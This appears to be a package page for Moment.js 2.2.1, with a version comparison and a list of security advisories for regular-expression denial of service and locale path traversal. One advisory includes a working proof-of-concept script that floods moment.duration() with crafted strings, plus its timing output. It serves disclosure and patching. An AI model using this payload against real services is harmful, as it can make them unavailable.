Moment.js experienced a minor version update from 2.1.0 to 2.2.1, bringing subtle but noteworthy changes for developers utilizing this popular date manipulation library. While both versions share the same core functionality for parsing, manipulating, and displaying dates, a significant shift appears in the project's stewardship. The repository URL and author information reveal a transition from Tim Wood to Iskren Ivov Chernev, suggesting a change in maintainership or primary contributors.
Both versions rely on a similar suite of development dependencies, including Grunt for task automation, Nodeunit for testing, and Uglify-js for minifying the code, indicating a consistent build and test process.
The release dates highlight a roughly two-month gap between the versions, with 2.1.0 arriving in early July 2013 and 2.2.1 in mid-September 2013. Developers considering upgrading should investigate the specific changes implemented between these versions, potentially outlined in the project's changelog, to assess their impact on existing code. Depending on any breaking changes or bug fixes, upgrading could be essential for maintaining compatibility or resolving known issues. For projects dependent on Moment.js, understanding the nuances of these updates is vital for a smooth transition and optimal use of the library's capabilities in handling date and time data.
All the vulnerabilities related to the version 2.2.1 of the package
Regular Expression Denial of Service in moment
Versions of moment
prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration()
.
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment
are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr
is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: